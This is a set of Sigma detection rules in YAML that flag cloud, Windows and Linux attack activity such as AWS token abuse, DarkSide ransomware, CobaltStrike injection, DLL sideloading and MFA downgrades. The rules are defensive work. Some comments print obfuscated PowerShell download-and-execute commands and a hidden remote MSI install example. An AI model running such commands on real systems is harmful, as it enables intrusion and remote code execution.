Sigma rules: 0i

title: AWS Console GetSigninToken Potential Abuse
id: f8103686-e3e8-46f3-be72-65f7fcb4aa53
status: test
description: |
    Detects potentially suspicious events involving "GetSigninToken".
    An adversary using the "aws_consoler" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.
references:
    - https://github.com/NetSPI/aws_consoler
    - https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/
author: Chester Le Bron (@123Le_Bron)
date: 2024-02-26
tags:
    - attack.lateral-movement
    - attack.t1021.007
    - attack.t1550.001
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: 'signin.amazonaws.com'
        eventName: 'GetSigninToken'
    filter_main_console_ua:
        userAgent|contains: 'Jersey/${project.version}'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - GetSigninToken events will occur when using AWS SSO portal to login and will generate false positives if you do not filter for the expected user agent(s), see filter. Non-SSO configured roles would be abnormal and should be investigated.
level: medium

title: Certificate Private Key Acquired
id: e2b5163d-7deb-4566-9af3-40afea6858c3
status: test
description: Detects when an application acquires a certificate private key
references:
    - https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html
author: Zach Mathis
date: 2023-05-13
tags:
    - attack.credential-access
    - attack.t1649
logsource:
    product: windows
    service: capi2
    definition: 'Requirements: The CAPI2 Operational log needs to be enabled'
detection:
    selection:
        EventID: 70 # Acquire Certificate Private Key
    condition: selection
falsepositives:
    - Legitimate application requesting certificate exports will trigger this. Apply additional filters as needed
level: medium

title: CodeIntegrity - Unsigned Image Loaded
id: c92c24e7-f595-493f-9c98-53d5142f5c18
status: test
description: Detects loaded unsigned image on the system
references:
    - https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
    - https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
    - Internal Research
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-06-06
tags:
    - attack.privilege-escalation
logsource:
    product: windows
    service: codeintegrity-operational
detection:
    selection:
        EventID: 3037 # Code Integrity determined an unsigned image %2 is loaded into the system. Check with the publisher to see if a signed version of the image is available.
    condition: selection
falsepositives:
    - Unlikely
level: high

title: CVE-2021-44077 POC Default Dropped File
id: 7b501acf-fa98-4272-aa39-194f82edc8a3
status: test
description: Detects the creation of "msiexec.exe" in the "bin" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)
references:
    - https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/
    - https://github.com/horizon3ai/CVE-2021-44077/blob/b7a48e25824e8ead95e028475c7fd0e107e6e6bf/exploit.py
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-06
tags:
    - attack.execution
    - cve.2021-44077
    - detection.emerging-threats
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '\ManageEngine\SupportCenterPlus\bin\msiexec.exe'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: DarkSide Ransomware Pattern
id: 965fff6c-1d7e-4e25-91fd-cdccd75f7d2c
status: test
description: Detects DarkSide Ransomware and helpers
references:
    - https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html
    - https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/
    - https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2
author: Florian Roth (Nextron Systems)
date: 2021-05-14
tags:
    - attack.execution
    - attack.t1204
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection1:
        CommandLine|contains:
            - '=[char][byte](''0x''+'
            - ' -work worker0 -path '
    selection2:
        ParentCommandLine|contains: 'DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}'
        Image|contains: '\AppData\Local\Temp\'
    condition: 1 of selection*
falsepositives:
    - Unknown
    - UAC bypass method used by other malware
level: critical

title: DNS Query To Ufile.io
id: 1cbbeaaf-3c8c-4e4c-9d72-49485b6a176b
related:
    - id: 090ffaad-c01a-4879-850c-6d57da98452d
      type: similar
status: test
description: Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration
references:
    - https://thedfirreport.com/2021/12/13/diavol-ransomware/
author: yatinwad, TheDFIRReport
date: 2022-06-23
modified: 2023-09-18
tags:
    - attack.exfiltration
    - attack.t1567.002
logsource:
    product: windows
    category: dns_query
detection:
    selection:
        QueryName|contains: 'ufile.io'
    condition: selection
falsepositives:
    - DNS queries for "ufile" are not malicious by nature necessarily. Investigate the source to determine the necessary actions to take
level: low

title: Exploit for CVE-2017-8759
id: fdd84c68-a1f6-47c9-9477-920584f94905
status: test
description: Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759
references:
    - https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100
    - https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100
author: Florian Roth (Nextron Systems)
date: 2017-09-15
modified: 2021-11-27
tags:
    - attack.execution
    - attack.t1203
    - attack.t1204.002
    - attack.initial-access
    - attack.t1566.001
    - cve.2017-8759
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\WINWORD.EXE'
        Image|endswith: '\csc.exe'
    condition: selection
falsepositives:
    - Unknown
level: critical

title: Griffon Malware Attack Pattern
id: bcc6f179-11cd-4111-a9a6-0fab68515cf7
status: test
description: Detects process execution patterns related to Griffon malware as reported by Kaspersky
references:
    - https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-03-09
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - '\local\temp\'
            - '//b /e:jscript'
            - '.txt'
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: HackTool - BabyShark Agent Default URL Pattern
id: 304810ed-8853-437f-9e36-c4975c3dfd7e
status: test
description: Detects Baby Shark C2 Framework default communication patterns
references:
    - https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845
author: Florian Roth (Nextron Systems)
date: 2021-06-09
modified: 2024-02-15
tags:
    - attack.command-and-control
    - attack.t1071.001
logsource:
    category: proxy
detection:
    selection:
        c-uri|contains: 'momyshark\?key='
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: HackTool - CobaltStrike BOF Injection Pattern
id: 09706624-b7f6-455d-9d02-adee024cee1d
status: test
description: Detects a typical pattern of a CobaltStrike BOF which inject into other processes
references:
    - https://github.com/boku7/injectAmsiBypass
    - https://github.com/boku7/spawn
author: Christian Burkard (Nextron Systems)
date: 2021-08-04
modified: 2023-11-28
tags:
    - attack.execution
    - attack.defense-impairment
    - attack.t1106
    - attack.t1685
logsource:
    category: process_access
    product: windows
detection:
    selection:
        CallTrace|re: '^C:\\Windows\\SYSTEM32\\ntdll\.dll\+[a-z0-9]{4,6}\|C:\\Windows\\System32\\KERNELBASE\.dll\+[a-z0-9]{4,6}\|UNKNOWN\([A-Z0-9]{16}\)$'
        GrantedAccess:
            - '0x1028'
            - '0x1fffff'
    condition: selection
falsepositives:
    - Unknown
level: high

title: IAM Access Key Created
id: 2c4d6e8f-0a1b-3c5d-7e9f-1a2b3c4d5e6f
status: test
description: |
    Detects when an IAM access key is created via CreateAccessKey.
    Attackers create access keys for persistence after compromising an account,
    often targeting an existing user or a newly created backdoor user.
    Note: This is different from CreateApiKey (AppSync/API Gateway).
references:
    - https://attack.mitre.org/techniques/T1098/001/
    - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html
author: nishikawaakira (@nishikawaakira)
date: 2026-05-03
modified: 2026-05-29
tags:
    - attack.persistence
    - attack.t1098.001
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: iam.amazonaws.com
        eventName: CreateAccessKey
    filter:
        errorCode|exists: true
    condition: selection and not filter
falsepositives:
    - Legitimate key rotation by administrators or automation
level: medium

title: Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System
id: 14bcba49-a428-42d9-b943-e2ce0f0f7ae6
status: test
description: Detects Obfuscated Powershell via VAR++ LAUNCHER
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task27)
author: Timur Zinniatullin, oscd.community
date: 2020-10-13
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        # ImagePath|re: '(?i)&&set.*(\{\d\}){2,}\\\"\s+?\-f.*&&.*cmd.*\/c' # FPs with |\/r
        # Example 1: CMD /C"sET KUR=Invoke-Expression (New-Object Net.WebClient).DownloadString&&Set MxI=C:\wINDowS\sYsWow64\winDOWspoWERSheLl\V1.0\PowerShelL.EXe ${ExEcut`IoN`cON`TExT}.\"invo`kEcoMm`A`ND\".( \"{2}{1}{0}\" -f 'pt','EscRi','INvOk' ).Invoke( ( .( \"{0}{1}\" -f'D','IR' ) ( \"{0}{1}\"-f'ENV:kU','R')).\"vAl`Ue\" )&& CMD /C%mXI%"
        # Example 2: c:\WiNDOWS\sYSTEm32\CmD.exE /C "sEt DeJLz=Invoke-Expression (New-Object Net.WebClient).DownloadString&&set yBKM=PoWERShelL -noeX ^^^&(\"{2}{0}{1}\"-f '-ItE','m','seT') ( 'V' + 'a'+ 'RiAblE:z8J' +'U2' + 'l' ) ([TYpE]( \"{2}{3}{0}{1}\"-f 'e','NT','e','NViRONM' ) ) ; ^^^& ( ( [sTrIng]${VE`Rbo`SepReFER`Ence})[1,3] + 'X'-joIN'')( ( (.('gI') ('V' + 'a' + 'RIAbLe:z8j' + 'u2' +'l' ) ).vALUe::( \"{2}{5}{0}{1}{6}{4}{3}\" -f 'IRo','Nm','GETE','ABlE','I','nv','enTVAr').Invoke(( \"{0}{1}\"-f'd','ejLz' ),( \"{1}{2}{0}\"-f'cEss','P','RO') )) )&& c:\WiNDOWS\sYSTEm32\CmD.exE /C %ybkm%"
        ImagePath|contains|all:
            - '&&set'
            - 'cmd'
            - '/c'
            - '-f'
        ImagePath|contains:
            - '{0}'
            - '{1}'
            - '{2}'
            - '{3}'
            - '{4}'
            - '{5}'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Kapeka Backdoor Autorun Persistence
id: c0c67b21-eb8a-4c84-a395-40473ec3b482
related:
    - id: 64a871dd-83f6-4e5f-80fc-5a7ca3a8a819
      type: similar
status: test
description: Detects the setting of a new value in the Autorun key that is used by the Kapeka backdoor for persistence.
references:
    - https://labs.withsecure.com/publications/kapeka
    - https://app.any.run/tasks/1efb3ed4-cc0f-4690-a0ed-24516809bc72/
author: Swachchhanda Shrawan Poudel
date: 2024-07-03
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
    - detection.emerging-threats
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
        TargetObject|endswith:
            - '\Sens Api'
            - '\OneDrive'
        Details|contains|all:
            - ':\WINDOWS\system32\rundll32.exe'
            - '.wll'
            - '#1'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Live Memory Dump Using Powershell
id: cd185561-4760-45d6-a63e-a51325112cae
status: test
description: Detects usage of a PowerShell command to dump the live memory of a Windows machine
references:
    - https://learn.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo?view=windowsserver2022-ps
author: Max Altgelt (Nextron Systems)
date: 2021-09-21
modified: 2022-12-25
tags:
    - attack.credential-access
    - attack.t1003
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains|all:
            - 'Get-StorageDiagnosticInfo'
            - '-IncludeLiveDump'
    condition: selection
falsepositives:
    - Diagnostics
level: high

title: Mask System Power Settings Via Systemctl
id: c172b7b5-f3a1-4af2-90b7-822c63df86cb
status: experimental
description: |
    Detects the use of systemctl mask to disable system power management targets such as suspend, hibernate, or hybrid sleep.
    Adversaries may mask these targets to prevent a system from entering sleep or shutdown states, ensuring their malicious processes remain active and uninterrupted.
    This behavior can be associated with persistence or defense evasion, as it impairs normal system power operations to maintain long-term access or avoid termination of malicious activity.
author: Milad Cheraghi, Nasreddine Bencherchali
date: 2025-10-17
references:
    - https://www.man7.org/linux/man-pages/man1/systemctl.1.html
    - https://linux-audit.com/systemd/faq/what-is-the-difference-between-systemctl-disable-and-systemctl-mask/
tags:
    - attack.persistence
    - attack.impact
    - attack.t1653
logsource:
    category: process_creation
    product: linux
detection:
    selection_systemctl:
        Image|endswith: '/systemctl'
        CommandLine|contains: ' mask'
    selection_power_options:
        CommandLine|contains:
            - 'suspend.target'
            - 'hibernate.target'
            - 'hybrid-sleep.target'
    condition: all of selection_*
falsepositives:
    - Unlikely
level: high

title: MFA downgrade - disable MFA policies by modifying the policies
id: 6733ad4e-716a-11f0-9006-723487b9527c
status: experimental
description: |
    Detect when the MFA policy is turned off by setting it to "Never".
author: Okta
date: 2025-07-11
modified: 2025-09-01
logsource:
    product: auth0
detection:
    selection:
        data.type: sapi
        data.description:
            - Update multi-factor authentication policies
    filter_1:
        data.details.response.body{}: 'all-applications'
    filter_2:
        data.details.response.body{}: 'confidence-score'
    condition: selection and (filter_1 or filter_2)
explanation: >
    The query filters for modifications of MFA settings by checking if any policies are enabled either as Always
    ('all-applications') or Use Adaptive MFA ('confidence-score').
    It returns records when the response body is empty meaning that no policies are enabled, i.e. Never.
    The Splunk query below returns only the latest policy modification record.
    If MFA is set to Never, this query returns one record.
    If MFA is set in Always or Use Adaptive MFA, no record is returned.
    The Splunk query displays the modifying IP, user, and MFA policy enabled (Always, Adaptive, or Never).
    Finally, this query can be used for reporting purposes (when and what MFA policies were enabled) by commenting
    the "sort", "head", and "when" clauses.
splunk: |
    index=auth0 data.tenant_name="{your-tenant-name}"
    data.type=sapi data.description="Update multi-factor authentication policies"
    | fields data.details.response.body{}, data.details.request.ip, data.user_id
    | rename data.details.response.body{} as mfa_mode
    ```Take only the last change of configurations that reflects the current settings```
    | sort - _time
    | head 1
    ```Check if mfa_mode contains an empty value, i.e. no policies are enabled```
    | where NOT match(mfa_mode, "^(all-applications|confidence-score)$")
    | eval mfa_policy = case(
       mfa_mode ="all-applications", "Always",
       mfa_mode ="confidence-score", "Adaptive MFA",
       true(), "Never"
      )
    ``` Print output ```
    | table _time, data.details.request.ip, data.user_id, mfa_policy
comments:
    - The Splunk query above shall be tuned to reflect a valid tenant name.
    - A possible false positive is when MFA policies are applied through Actions.
    - Limit the detection to actions conducted from not allowlisted IPs and/or particular users.
tenant_logs: |
    type: "sapi" AND description: "Update multi-factor authentication policies"
prevention:
    - Control tenant admins, i.e. "Admin", as this role has permissions to modify any application.
    - Enforce MFA for tenant admins to reduce the risk of an adversary gaining access.
    - Control Management API scopes that allow modification of MFA settings - update:mfa_policies.
    - Control usage of Management API from only trusted IPs by applying Network ACL scoped to "management".
falsepositives:
    - MFA can be disabled in favour of the custom MFA setup via Actions.
    - Intentional legitimate disabling by administrators.
tags:
    - attack.defense-evasion
    - attack.t1562
    - attack.t1562.007

title: Ntdsutil Abuse
id: e6e88853-5f20-4c4a-8d26-cd469fd8d31f
status: test
description: Detects potential abuse of ntdsutil to dump ntds.dit database
references:
    - https://twitter.com/mgreen27/status/1558223256704122882
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-14
tags:
    - attack.credential-access
    - attack.t1003.003
logsource:
    product: windows
    service: application
    # warning: The 'data' field used in the detection section is the container for the event data as a whole. You may have to adapt the rule for your backend accordingly
detection:
    selection:
        Provider_Name: 'ESENT'
        EventID:
            - 216
            - 325
            - 326
            - 327
        Data|contains: 'ntds.dit'
    condition: selection
falsepositives:
    - Legitimate backup operation/creating shadow copies
level: medium

title: OpenCanary - HTTPPROXY Login Attempt
id: 5498fc09-adc6-4804-b9d9-5cca1f0b8760
status: test
description: |
    Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.initial-access
    - attack.command-and-control
    - attack.t1090
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 7001
    condition: selection
falsepositives:
    - Unlikely
level: high

title: Potential Container Discovery Via Inodes Listing
id: 43e26eb5-cd58-48d1-8ce9-a273f5d298d8
status: test
description: Detects listing of the inodes of the "/" directory to determine if the we are running inside of a container.
references:
    - https://blog.skyplabs.net/posts/container-detection/
    - https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker
tags:
    - attack.discovery
    - attack.t1082
author: Seth Hanford
date: 2023-08-23
modified: 2025-11-24
logsource:
    category: process_creation
    product: linux
detection:
    selection_ls_img:
        Image|endswith: '/ls'    # inode outside containers low, inside high
    selection_ls_cli:
        - CommandLine|endswith: ' /'
        - CommandLine|contains: ' / '
    selection_regex_inode:
        CommandLine|re: '(?:\s-[^-\s]{0,20}i|\s--inode\s)'      # -i finds inode number
    selection_regex_dir:
        CommandLine|re: '(?:\s-[^-\s]{0,20}d|\s--directory\s)'  # -d gets directory itself, not contents
    condition: all of selection_*
falsepositives:
    - Legitimate system administrator usage of these commands
    - Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered
level: low

title: Potential Persistence Via Mpnotify
id: 92772523-d9c1-4c93-9547-b0ca500baba3
status: test
description: Detects when an attacker register a new SIP provider for persistence and defense evasion
references:
    - https://persistence-info.github.io/Data/mpnotify.html
    - https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-21
modified: 2023-08-17
tags:
    - attack.persistence
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\mpnotify'
    condition: selection
falsepositives:
    - Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way
level: high

title: Potential Rcdll.DLL Sideloading
id: 6e78b74f-c762-4800-82ad-f66787f10c8a
status: test
description: Detects potential DLL sideloading of rcdll.dll
references:
    - https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html
author: X__Junior (Nextron Systems)
date: 2023-03-13
modified: 2023-03-15
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\rcdll.dll'
    filter:
        ImageLoaded|startswith:
            - 'C:\Program Files (x86)\Microsoft Visual Studio\'
            - 'C:\Program Files (x86)\Windows Kits\'
    condition: selection and not filter
falsepositives:
    - Unknown
level: high

title: Potential RoboForm.DLL Sideloading
id: f64c9b2d-b0ad-481d-9d03-7fc75020892a
status: test
description: Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager
references:
    - https://twitter.com/StopMalvertisin/status/1648604148848549888
    - https://twitter.com/t3ft3lb/status/1656194831830401024
    - https://www.roboform.com/
author: X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-14
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith:
            - '\roboform.dll'
            - '\roboform-x64.dll'
    filter_main_path:
        Image|startswith:
            - ' C:\Program Files (x86)\Siber Systems\AI RoboForm\'
            - ' C:\Program Files\Siber Systems\AI RoboForm\'
        Image|endswith:
            - '\robotaskbaricon.exe'
            - '\robotaskbaricon-x64.exe'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - If installed on a per-user level, the path would be located in "AppData\Local". Add additional filters to reflect this mode of installation
level: medium

title: PowerShell Decompress Commands
id: 1ddc1472-8e52-4f7d-9f11-eab14fc171f5
related:
    - id: 81fbdce6-ee49-485a-908d-1a728c5dcb09
      type: derived
status: test
description: A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.
references:
    - https://github.com/OTRF/detection-hackathon-apt29/issues/8
    - https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.md
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-05-02
modified: 2022-12-25
tags:
    - attack.stealth
    - attack.t1140
logsource:
    product: windows
    category: ps_module
    definition: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b
detection:
    selection_4103:
        Payload|contains: 'Expand-Archive'
    condition: selection_4103
falsepositives:
    - Unknown
level: informational

title: PowerShell MSI Install via WindowsInstaller COM From Remote Location
id: 222720a7-047f-4054-baa5-bab9be757db0
status: experimental
description: |
    Detects the execution of PowerShell commands that attempt to install MSI packages via the
    Windows Installer COM object (`WindowsInstaller.Installer`) hosted remotely.
    This could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality.
    And the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.
references:
    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
author: Meroujan Antonyan (vx3r)
date: 2025-06-05
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.001
    - attack.t1218
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='https://example.com/';$i=New-Object -ComObject('WindowsInstaller.Installer');$i.UILevel=2;$i.InstallProduct($u),'')";
    selection_img:
        - Image|endswith:
              - '\powershell_ise.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell_ISE.EXE'
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains|all:
            - '-ComObject'
            - 'InstallProduct('
    selection_remote:
        CommandLine|contains:
            - 'http'
            - '\\\\'
    filter_main_localhost:
        CommandLine|contains:
            - '://127.0.0.1'
            - '://localhost'
    condition: all of selection_* and not 1 of filter_main_*
falsepositives:
    - Unknown
level: medium

title: Prefetch File Deleted
id: 0a1f9d29-6465-4776-b091-7f43b26e4c89
status: test
description: Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence
references:
    - Internal Research
    - https://www.group-ib.com/blog/hunting-for-ttps-with-prefetch-files/
author: Cedric MAURUGEON
date: 2021-09-29
modified: 2024-01-25
tags:
    - attack.stealth
    - attack.t1070.004
logsource:
    product: windows
    category: file_delete
detection:
    selection:
        TargetFilename|contains: ':\Windows\Prefetch\'
        TargetFilename|endswith: '.pf'
    filter_main_svchost:
        Image|endswith: ':\windows\system32\svchost.exe'
        User|contains: # covers many language settings
            - 'AUTHORI'
            - 'AUTORI'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: Privilege Escalation via Named Pipe Impersonation
id: 9bd04a79-dabe-4f1f-a5ff-92430265c96b
related:
    - id: f35c5d71-b489-4e22-a115-f003df287317
      type: derived
status: test
description: Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.
references:
    - https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html
author: Tim Rauch, Elastic (idea)
date: 2022-09-27
modified: 2022-12-30
tags:
    - attack.lateral-movement
    - attack.t1021
logsource:
    category: process_creation
    product: windows
detection:
    selection_name:
        - Image|endswith:
              - '\cmd.exe'
              - '\powershell.exe'
        - OriginalFileName:
              - 'Cmd.Exe'
              - 'PowerShell.EXE'
    selection_args:
        CommandLine|contains|all:
            - 'echo'
            - '>'
            - '\\\\.\\pipe\\'
    condition: all of selection*
falsepositives:
    - Other programs that cause these patterns (please report)
level: high

title: Remote PowerShell Sessions Network Connections (WinRM)
id: 13acf386-b8c6-4fe0-9a6e-c4756b974698
status: test
description: Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986
references:
    - https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
author: Roberto Rodriguez @Cyb3rWard0g
date: 2019-09-12
modified: 2022-10-09
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 5156
        DestPort:
            - 5985
            - 5986
        LayerRTID: 44
    condition: selection
falsepositives:
    - Legitimate use of remote PowerShell execution
level: high

title: Remote Task Creation via ATSVC Named Pipe
id: f6de6525-4509-495a-8a82-1f8b0ed73a00
status: test
description: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe
references:
    - https://web.archive.org/web/20230409194125/https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html
author: Samir Bousseaden
date: 2019-04-03
modified: 2024-08-01
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.lateral-movement
    - attack.persistence
    - car.2013-05-004
    - car.2015-04-001
    - attack.t1053.002
logsource:
    product: windows
    service: security
    definition: 'The advanced audit policy setting "Object Access > Audit Detailed File Share" must be configured for Success/Failure'
detection:
    selection:
        EventID: 5145
        ShareName: '\\\\\*\\IPC$' # looking for the string \\*\IPC$
        RelativeTargetName: atsvc
        AccessList|contains: 'WriteData'
    condition: selection
falsepositives:
    - Unknown
level: medium

title: Renamed ZOHO Dctask64 Execution
id: 340a090b-c4e9-412e-bb36-b4b16fe96f9b
status: test
description: |
    Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central.
    This binary can be abused for DLL injection, arbitrary command and process execution.
references:
    - https://twitter.com/gN3mes1s/status/1222088214581825540
    - https://twitter.com/gN3mes1s/status/1222095963789111296
    - https://twitter.com/gN3mes1s/status/1222095371175911424
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2020-01-28
modified: 2025-01-22
tags:
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1036
    - attack.t1055.001
    - attack.t1202
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Hashes|contains:
            - 'IMPHASH=6834B1B94E49701D77CCB3C0895E1AFD'
            - 'IMPHASH=1BB6F93B129F398C7C4A76BB97450BBA'
            - 'IMPHASH=FAA2AC19875FADE461C8D89DCF2710A3'
            - 'IMPHASH=F1039CED4B91572AB7847D26032E6BBF'
    filter_main_legit_name:
        Image|endswith: '\dctask64.exe'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: Shell Open Registry Keys Manipulation
id: 152f3630-77c1-4284-bcc0-4cc68ab2f6e7
related:
    - id: dd3ee8cc-f751-41c9-ba53-5a32ed47e563
      type: similar
status: test
description: |
    Detects manipulation of shell open command registry keys such as "ms-settings" and "exefile",
    which are commonly abused to achieve UAC bypass (e.g. via fodhelper.exe) or establish persistence
    through file association hijacking.
references:
    - https://github.com/hfiref0x/UACME
    - https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
    - https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass
    - https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]
author: Christian Burkard (Nextron Systems)
date: 2021-08-30
modified: 2026-08-27
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1548.002
    - attack.t1546.001
logsource:
    category: registry_event
    product: windows
detection:
    selection_1:
        EventType: SetValue
        TargetObject|endswith: 'Classes\ms-settings\shell\open\command\SymbolicLinkValue'
        Details|contains: '\Software\Classes\{'
    selection_2:
        TargetObject|endswith: 'Classes\ms-settings\shell\open\command\DelegateExecute'
    selection_3:
        EventType: SetValue
        TargetObject|endswith:
            - 'Classes\ms-settings\shell\open\command\(Default)'
            - 'Classes\exefile\shell\open\command\(Default)'
    filter_main_empty:
        Details: '(Empty)'
    filter_main_default_com:
        Details:
            - '{4813071a-41ad-44a2-9835-886d2f63ca30}'
            - '{A56A841F-E974-45C1-8001-7E3F8A085917}'
            - '{4ED3A719-CEA8-4BD9-910D-E252F997AFC2}'
            - '{BFEC0C93-0B7D-4F2C-B09C-AFFFC4BDAE78}'
    condition: 1 of selection_* and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: Suspicious Child Process Of SQL Server
id: 869b9ca7-9ea2-4a5a-8325-e80e62f75445
related:
    - id: 344482e4-a477-436c-aa70-7536d18a48c7
      type: obsolete
status: test
description: Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.
references:
    - Internal Research
author: FPT.EagleEye Team, wagga
date: 2020-12-11
modified: 2023-05-04
tags:
    - attack.t1505.003
    - attack.t1190
    - attack.initial-access
    - attack.persistence
    - attack.privilege-escalation
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\sqlservr.exe'
